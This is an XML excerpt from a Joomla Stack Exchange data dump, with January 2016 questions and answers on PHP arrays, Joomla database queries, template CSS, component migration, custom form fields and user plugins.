  <row Id="14951" PostTypeId="1" AcceptedAnswerId="14953" CreationDate="2016-01-12T12:20:24.390" Score="0" ViewCount="423" Body="&lt;p&gt;I have an associative array, where I need to modify 3 values before sending to the db. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody assist with the proper syntax for accomplishing this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query);&#xA;$rows =$db-&amp;gt;loadAssocList();   &#xA;foreach ($rows as $row)&#xA;{&#xA; [$row['id']] . ' = ' . (int) ++$MaxID, [$row['id']];&#xA; ...........&#xA; ......&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the print out of the associative array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [0] =&amp;gt; Array ( [id] =&amp;gt; 11 [asset_id] =&amp;gt; 671 [catid] =&amp;gt; 102 [title] =&amp;gt; Photo Master Copy [alias] =&amp;gt; Photo Master Copy 692 [description] =&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7182" LastEditorUserId="126" LastEditDate="2016-01-12T15:06:45.967" LastActivityDate="2016-01-12T15:07:34.840" Title="Joomla foreach AssocList - modify array" Tags="|joomla-3.x|array|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14952" PostTypeId="2" ParentId="4211" CreationDate="2016-01-12T13:17:58.053" Score="0" Body="&lt;p&gt;If you want publish it on the front page, after created article you must select Featured article, on the another page you must publish it under the category&lt;/p&gt;&#xA;" OwnerUserId="7606" LastActivityDate="2016-01-12T13:17:58.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14953" PostTypeId="2" ParentId="14951" CreationDate="2016-01-12T15:07:34.840" Score="2" Body="&lt;p&gt;Syntax for modifying the array would be something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query);&#xA;$rows =$db-&amp;gt;loadAssocList();   &#xA;foreach ($rows as &amp;amp;$row)  // &amp;amp; to give a reference, not copy, to the row in rows&#xA;{&#xA;     ++$MaxID;&#xA;     $row['id']  =  $row['id'] + $MaxID;  // Add $MaxID to $row[id]&#xA;     .... // possibly other modifications?&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="360" LastActivityDate="2016-01-12T15:07:34.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14954" PostTypeId="2" ParentId="14944" CreationDate="2016-01-12T15:45:21.953" Score="1" Body="&lt;p&gt;If I understand you correctly, you should use $query-&gt;insert('#__temp_tasks') rather than $query-&gt;update('#__temp_tasks'), as you want to insert new rows in the table, is that correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would simplify your task: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Your first two lines&#xA;$db    = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;// ...then:&#xA;$sql=&quot;insert into #__temp_tasks (id, col2, col3) &quot;.&#xA;&quot;select id+&quot;.$MaxID.&quot;, col2, col3 from #__temp_tasks &quot;.&#xA;&quot;where id between 0 and 100&quot;; // I guess you need something like this&#xA;// ...otherwise your table will grow awfully fast...&#xA;$query-&amp;gt;setQuery($sql);&#xA;// ...your last three lines, more or less&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;$query-&amp;gt;clear();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="360" LastActivityDate="2016-01-12T15:45:21.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14956" PostTypeId="2" ParentId="14935" CreationDate="2016-01-12T21:46:25.073" Score="1" Body="&lt;p&gt;Could it be you don't handle the form token correctly? Your value ('8c7b78172222114c616d844e7dd4a75e', &quot;1&quot;) is the form token set by the joomla application, and when you try to log in you need to present the same form token that was presented to you on the login page. So you should pick up the form token from the site where you want to log in. I dont know python that well, but if you can first read the login page ( &lt;a href=&quot;http://yoursite.com?option=com_users&quot; rel=&quot;nofollow&quot;&gt;http://yoursite.com?option=com_users&lt;/a&gt; ) and use a regex to get the token in the output, you can reuse this token when you log in. Hope it make sense...&lt;/p&gt;&#xA;" OwnerUserId="360" LastActivityDate="2016-01-12T21:46:25.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14957" PostTypeId="1" AcceptedAnswerId="14958" CreationDate="2016-01-12T23:39:00.810" Score="0" ViewCount="100" Body="&lt;p&gt;I want to change the menu background color of &lt;a href=&quot;http://socialize.jomsocial.com/&quot; rel=&quot;nofollow&quot;&gt;Joomla socialize template&lt;/a&gt;. When i open my site on mobile the top menu bar seems to be in white color. I want to change the color to 365190 &#xA;socialnetwork.silkroutegemsinc.com Anyone please guide me on this?&lt;/p&gt;&#xA;" OwnerUserId="6854" LastEditorUserId="6854" LastEditDate="2016-01-20T13:55:58.537" LastActivityDate="2016-01-20T13:55:58.537" Title="Change socialize template color" Tags="|templates|fix-my-code|t3-framework|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14958" PostTypeId="2" ParentId="14957" CreationDate="2016-01-13T07:20:36.820" Score="5" Body="&lt;p&gt;As per the link provided by you, simple add the below css code in your template.css or your custom css: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.t3-footer {&#xA;    background: #365190;&#xA;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps you&lt;/p&gt;&#xA;" OwnerDisplayName="user5491" LastActivityDate="2016-01-13T07:20:36.820" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="14959" PostTypeId="1" AcceptedAnswerId="14961" CreationDate="2016-01-13T16:38:11.860" Score="4" ViewCount="84" Body="&lt;p&gt;I asked a &lt;a href=&quot;https://joomla.stackexchange.com/questions/10840/plugin-download-from-live-site&quot;&gt;similar question&lt;/a&gt; a while back regarding downloading a &lt;em&gt;plugin&lt;/em&gt; from a live site - however this question is concerning a &lt;em&gt;component&lt;/em&gt;, perhaps the process similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick recap - I downloaded a (purchased) .zip gallery component a while back, and installed this on a live site, all working fine. I would now like to install this &lt;strong&gt;same&lt;/strong&gt; component on another (different) website, but I can't find the original .zip file that I paid for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for me to download/ftp the complete component from Website A, and re-upload to Website B? If so, how? I have full ftp access to both websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-01-13T16:56:36.843" Title="Component Download (from a live site)" Tags="|joomla-3.x|component|extensions|migration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14961" PostTypeId="2" ParentId="14959" CreationDate="2016-01-13T16:56:36.843" Score="6" Body="&lt;p&gt;Yes, it is possible with a component, but it will take a little longer as there are more directories and files.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Create a folder on your desktop (e.g &amp;quot;&lt;strong&gt;gallery&lt;/strong&gt;&amp;quot;), then copy the XML file from:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;ROOT/administrator/components/com_component/component_name.xml&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;into your newly created folder.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Step 1:&lt;/h2&gt;&#xA;&lt;p&gt;Open the XML file and inside you will see something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files folder=&amp;quot;site&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files folder=&amp;quot;admin&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So inside your &lt;strong&gt;gallery&lt;/strong&gt; folder, create 2 sub-directories called &amp;quot;&lt;strong&gt;site&lt;/strong&gt;&amp;quot; and &amp;quot;&lt;strong&gt;admin&lt;/strong&gt;&amp;quot;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Step 2:&lt;/h2&gt;&#xA;&lt;p&gt;Now to copy the main component files.&lt;/p&gt;&#xA;&lt;p&gt;Go to &lt;code&gt;ROOT/administrator/component/com_component&lt;/code&gt; and copy the entire contents (apart from the XML you copied before), into your &amp;quot;&lt;strong&gt;admin&lt;/strong&gt;&amp;quot; directory&lt;/p&gt;&#xA;&lt;p&gt;The go to &lt;code&gt;ROOT/component/com_component&lt;/code&gt; and copy the entire contents, into your &amp;quot;&lt;strong&gt;site&lt;/strong&gt;&amp;quot; directory&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Step 3:&lt;/h2&gt;&#xA;&lt;p&gt;Look again in your XML file and you will also see a reference to some language files, for example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;site/languages/en-GB/en-GB.com_component.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;site/languages/en-GB/en-GB.com_component.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Looking at this example, you will now need make sure you have to following directory path created:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;gallery/site/languages/en-GB&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Once done, copy the 2 language files (from your server):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ROOT/languages/en-GB/en-GB.com_component.ini&#xA;ROOT/languages/en-GB/en-GB.com_component.sys.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;into the directory you create just a minute ago.&lt;/p&gt;&#xA;&lt;p&gt;You will also need to repeat the same process for the admin language files, but of course ensuring they go in the &amp;quot;&lt;strong&gt;admin&lt;/strong&gt;&amp;quot; directory instead.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Once all done, zip up the component and try installing it.&lt;/p&gt;&#xA;&lt;p&gt;If there are any errors about missing files, have another look at the XML file and see if you've missed anything, such as media (CSS, JS etc)&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-01-13T16:56:36.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14962" PostTypeId="1" CreationDate="2016-01-14T02:41:46.847" Score="3" ViewCount="583" Body="&lt;p&gt;I have a 3.4 Joomla site which works fine, the problem is I created a new directory to store some php scripts to run, but running them fails with the 404 error above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla runs on the root folder, let say /u01/public_html&#xA;and I created a directory /u01/public_html/test&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to run &lt;a href=&quot;http://mydomain.com/test&quot; rel=&quot;nofollow&quot;&gt;http://mydomain.com/test&lt;/a&gt; and that's when I get the 404 error, even if I create a simple index.php file with just phpinfo(); in it fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have played with the Joomla's .htaccess file but nothing, I even created another .htaccess in the test dir. and still nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please let me know how can I let Joomla know that the test directory should NOT be managed by Joomla ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What entries should I put in the .htaccess files so that I can run the scripts in the test dir?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cesar&lt;/p&gt;&#xA;" OwnerUserId="7613" LastEditorUserId="126" LastEditDate="2016-01-27T16:37:29.380" LastActivityDate="2016-01-27T16:37:29.380" Title="404 - Article not found when calling not Joomla php file" Tags="|joomla-3.4|server|error-pages|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14963" PostTypeId="2" ParentId="14962" CreationDate="2016-01-14T06:51:33.417" Score="1" Body="&lt;p&gt;Actually if you reach directly to another custom directory/files, Joomla is not involved - so actually there is nothing you should tell to Joomla regarding any other custom directories you are creating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 404 error you are getting when trying to reach at your test folder, means that the test folder/files do not exist in this location and this isn't generated because of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally you won't have to make any adjustments in the htaccess file - unless if you have previously added certain restrictions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But again the error you are getting is 404 and not something else, so make sure you are reaching at a file that exists at the specified location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I don't know if you have any other special configurations or any kind of extensions that could change the normal behavior in your site - if so let us know about.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-01-14T06:51:33.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14964" PostTypeId="1" CreationDate="2016-01-14T15:02:33.627" Score="0" ViewCount="353" Body="&lt;p&gt;I am looking to group_concat the results from the fields from multiple rows where there is a an intermediate table&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'#__ext_resources'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a.id a.title&#xA;1    Blaa&#xA;2    Blee &#xA;3    Blii &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joining table&#xA;'#__ext_resource_categories'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rc.resource_id rc.category_id&#xA;1               1&#xA;1               2&#xA;2               2&#xA;3               3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Table whose title field needs concatenating&#xA;'#__categories'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c.id c.title&#xA;1    category boo&#xA;2    category foo&#xA;3    category noo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the query I have created will give resource fields plus categories plus the category id&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; a.id a.title category_id c.title&#xA; 1     Blaa   1,2         boo, foo&#xA; 2     Blee   2           foo  &#xA; 3     Blii   3           noo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following works as MySQL&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT a.id, a.name, &#xA;GROUP_CONCAT(DISTINCT rc.category_id) category_ids,&#xA;GROUP_CONCAT(DISTINCT c.title) categories,&#xA;&#xA;FROM db_ext_resources a&#xA;LEFT JOIN db_ext_resources_categories   rc  ON a.id                 = rc.resource_id&#xA;LEFT JOIN db_categories                           c   ON rc.category_id       = c.id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WHERE a.id = 192&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what is the Joomla code please?&#xA;The following works - with no intermediate joining table&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = $this-&amp;gt;getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select('a.*')&#xA;-&amp;gt;select('(SELECT GROUP_CONCAT(DISTINCT rc.category_id  SEPARATOR &quot;, &quot;) category_ids &#xA;          FROM #__ext_resources_categories  WHERE resource_id = a.id) category_ids')&#xA;-&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__ext_resources_categories',  'rc') . ' ON (' . $db-&amp;gt;quoteName('a.id')                . ' = ' . $db-&amp;gt;quoteName('rc.resource_id') . ')')&#xA;                                -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__categories',                          'c') .  ' ON (' . $db-&amp;gt;quoteName('rc.category_id')      . ' = ' . $db-&amp;gt;quoteName('c.id') . ')')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BUT&lt;/strong&gt; &#xA;if I put&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select('(SELECT GROUP_CONCAT(DISTINCT c.title SEPARATOR &quot;, &quot;)        categories WHERE rc.resource_id = a.id AND c.id = rc.category_id) categories')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in there or numerous variants it doesn't seem to work&#xA;nor &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select('(SELECT GROUP_CONCAT(DISTINCT c.title SEPARATOR &quot;, &quot;) categories FROM #__categories LEFT JOIN  '.$db-&amp;gt;quoteName(&quot;#__dbsupportplus_resources_categories&quot;,  &quot;rc&quot;).' ON a.id = rc.resource_id AND rc.category_id = c.id) categories')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried putting the whole MySQL statement into a $query-&gt;select('(&quot;.$var.&quot;)') &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To no avail. Any suggestions please?&lt;/p&gt;&#xA;" OwnerUserId="5677" LastActivityDate="2018-06-18T22:54:51.707" Title="What is the Joomla database code for the group_concat from tables joined by a third" Tags="|joomla-3.x|mysql|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14965" PostTypeId="2" ParentId="14964" CreationDate="2016-01-14T15:19:11.947" Score="1" Body="&lt;p&gt;Finally did it sticking everything inside a -&gt;select&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$MySQL = all the rest of the raw mysql query including the GROUP_CONCAT, FROM, LEFT JOIN statements&#xA;$query-&amp;gt;select('a.*')&#xA;      -&amp;gt;select($mysql);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if anyone has a way that uses the Joomla code it would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5677" LastActivityDate="2016-01-14T15:19:11.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14967" PostTypeId="1" AcceptedAnswerId="14968" CreationDate="2016-01-14T18:27:15.950" Score="1" ViewCount="467" Body="&lt;p&gt;I'm looking to have the system truncate any titles appearing on the front end of the website (Basically not directly on the article itself). I'm doing this to keep from ruining formats when my authors &lt;em&gt;continually refuse&lt;/em&gt; to keep their article titles short, so I'd like to truncate them just to level this all out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla's default article editor, so what would I do to enact this kind of change? And where would I place any necessary code?&lt;/p&gt;&#xA;" OwnerUserId="7546" LastActivityDate="2016-01-14T22:53:34.963" Title="Truncate Article Titles" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14968" PostTypeId="2" ParentId="14967" CreationDate="2016-01-14T22:53:34.963" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/API16:JHtmlString/truncate&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/API16:JHtmlString/truncate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using this function, you will probably need to do a template override for your article listings, override the template for the article listing, use the truncate function to truncate the title of the document. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some code samples in the truncate page above.&lt;/p&gt;&#xA;" OwnerUserId="7617" LastActivityDate="2016-01-14T22:53:34.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14969" PostTypeId="1" AcceptedAnswerId="15100" CreationDate="2016-01-15T02:39:36.600" Score="0" ViewCount="129" Body="&lt;p&gt;When viewing an individual record, I'm using a calculated field from a sql query to display as a read only field in my form. However I'm unable to get it to display (no error, just blank). Curious, do I need a custom form to display this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/forms/myform.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;field&#xA;            name=&quot;current_age&quot;&#xA;            type=&quot;text&quot;&#xA;            readonly=&quot;true&quot;&#xA;            label=&quot;DOB_AGE&quot;&#xA;            description=&quot;DOB_AGE_DESC&quot;&#xA;            size=&quot;40&quot;&#xA;            default=&quot;0&quot;&#xA;            /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;fields/myfield.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    protected function getOptions()&#xA;{&#xA;    $db    = JFactory::getDBO();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('d.*,(YEAR(CURDATE())-YEAR(d.dancer_birthdate)) - (RIGHT(CURDATE(),5)&amp;lt;RIGHT(d.dancer_birthdate,5)) AS d.current_age,c.title as category');&#xA;    $query-&amp;gt;from('#__registration_dancers as d');&#xA;    $query-&amp;gt;leftJoin('#__categories as c on d.catid=c.id');&#xA;    // Retrieve only published items&#xA;    $query-&amp;gt;where('d.published = 1');&#xA;    $db-&amp;gt;setQuery((string) $query);&#xA;    $messages = $db-&amp;gt;loadObjectList();&#xA;    $options  = array();&#xA;&#xA;    if ($messages)&#xA;    {&#xA;        foreach ($messages as $message)&#xA;        {&#xA;            $options[] = JHtml::_('select.option', $message-&amp;gt;dancer_id, $message-&amp;gt;dancer_name .&#xA;                                  ($message-&amp;gt;catid ? ' (' . $message-&amp;gt;category . ')' : ''), $message-&amp;gt;dancer_birthdate,&#xA;                                $message-&amp;gt;studio_id, $message-&amp;gt;dateadded, $message-&amp;gt;datemodified, &#xA;                                  $message-&amp;gt;current_age, $message-&amp;gt;published);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7590" LastActivityDate="2016-01-27T23:56:15.843" Title="Do I need a custom field for a db field alias?" Tags="|php|xml|sql|fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14970" PostTypeId="1" CreationDate="2016-01-15T04:36:19.503" Score="2" ViewCount="167" Body="&lt;p&gt;I'm running Joomla 3.4.8 and I want to add some informational text on the registration form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here was my plan: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a new Language Override, &lt;code&gt;REGISTER_NOTE1&lt;/code&gt;, with the text I want to display.  &lt;/li&gt;&#xA;&lt;li&gt;Find where the &lt;code&gt;COM_USERS_REGISTER_REQUIRED&lt;/code&gt; was being rendered and display my override in a similar fashion after copying the file to a template override.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The problem is I can't find where &lt;code&gt;COM_USERS_REGISTER_REQUIRED&lt;/code&gt; is being rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expected it in &lt;code&gt;components/com_users/views/registration/tmpl/default.php&lt;/code&gt; but I didn't find it there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read everything I can find googling for answers. Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7618" LastEditorUserId="3944" LastEditDate="2016-01-15T07:10:01.633" LastActivityDate="2016-01-15T07:10:01.633" Title="Add text to registration form" Tags="|overrides|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14971" PostTypeId="2" ParentId="14970" CreationDate="2016-01-15T05:59:15.617" Score="2" Body="&lt;p&gt;You can find this string in this file - &#xA;&lt;code&gt;/components/com_users/models/forms/registration.xml&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it will help you :)&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-01-15T05:59:15.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14972" PostTypeId="2" ParentId="14969" CreationDate="2016-01-15T07:01:47.827" Score="0" Body="&lt;p&gt;Yes, as far as I know, SQL can only be used with &lt;a href=&quot;https://docs.joomla.org/SQL_form_field_type&quot; rel=&quot;nofollow&quot;&gt;SQL form field&lt;/a&gt; and this generates dropdown list. So to just show some value from DB, you have to create custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Old answer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your need to add the field path to &lt;code&gt;myform.xml&lt;/code&gt; parent &lt;code&gt;&amp;lt;fieldset&amp;gt;&lt;/code&gt; to load your custom fields. This is only needed if you haven't added your custom fieldpath in PHP.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset addfieldpath=&quot;/administrator/components/&amp;lt;component name&amp;gt;/models/fields&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To add field path with PHP, so you don't need to add it in every form XML, use (for example in your component main file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JForm::addFieldPath(JPATH_COMPONENT . '/models/fields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in &lt;code&gt;myform.xml&lt;/code&gt; set &lt;code&gt;type&lt;/code&gt; as your new form field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field&#xA;        name=&quot;current_age&quot;&#xA;        type=&quot;myfield&quot; &amp;lt;----- custom field type&#xA;        readonly=&quot;true&quot;&#xA;        label=&quot;DOB_AGE&quot;&#xA;        description=&quot;DOB_AGE_DESC&quot;&#xA;        size=&quot;40&quot;&#xA;        default=&quot;0&quot;&#xA;        /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And your field class should be named &lt;code&gt;JFormFieldmyfield&lt;/code&gt;. Just to make sure you have correct &lt;code&gt;class&lt;/code&gt; name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further reading &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Joomla! Docs: Creating a custom form field type&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2016-01-15T11:34:41.243" LastActivityDate="2016-01-15T11:34:41.243" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14973" PostTypeId="1" AcceptedAnswerId="14979" CreationDate="2016-01-15T08:44:44.380" Score="1" ViewCount="405" Body="&lt;p&gt;I have a really simple question: is it possible to limit the number of items displayed when using the &lt;code&gt;mod_articles_category&lt;/code&gt; module? If not, it's possible to add a paginator? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I have a category of news that it's growing fast, and the &lt;code&gt;mod_articles_category&lt;/code&gt; displays all the articles from the given category.&lt;/p&gt;&#xA;" OwnerUserId="2123" LastEditorUserId="3650" LastEditDate="2016-11-13T11:22:12.417" LastActivityDate="2016-11-13T11:22:12.417" Title="Limit the number of items in a mod_articles_category module?" Tags="|joomla-3.x|articles|module-display|mod-articles-category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14974" PostTypeId="2" ParentId="14922" CreationDate="2016-01-15T09:11:13.470" Score="3" Body="&lt;p&gt;you can do it this way:&#xA;You create a user plugin (NOT authentication plugin, this one is separate), i called mine testwise &quot;checkmail&quot;.&#xA;In that plugin put the onUserBeforeSave callback, in wich you can check if the account is getting activated like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgUserCheckmail extends JPlugin&#xA;{&#xA;    /**&#xA;    * Application object&#xA;    *&#xA;    * @var    JApplicationCms&#xA;    * @since  3.2&#xA;    */&#xA;    protected $app;&#xA;&#xA;    /**&#xA;    * Database object&#xA;    *&#xA;    * @var    JDatabaseDriver&#xA;    * @since  3.2&#xA;    */&#xA;    protected $db;&#xA;&#xA;&#xA;    public function onUserBeforeSave($oldUser, $isNew, $newUser)&#xA;    {&#xA;        if(!$isNew)&#xA;        {&#xA;            if(isset($oldUser['activation']) &amp;amp;&amp;amp;&#xA;               !empty($oldUser['activation']) &amp;amp;&amp;amp;&#xA;               isset($newUser['activation']) &amp;amp;&amp;amp;&#xA;               empty($newUser['activation']))&#xA;            {&#xA;                // These commands in here are only triggered if the user is activating his account&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]: Ah, i almost forgot: This plugin goes inside the plugins/user directory!&lt;/p&gt;&#xA;" OwnerUserId="5783" LastActivityDate="2016-01-15T09:11:13.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
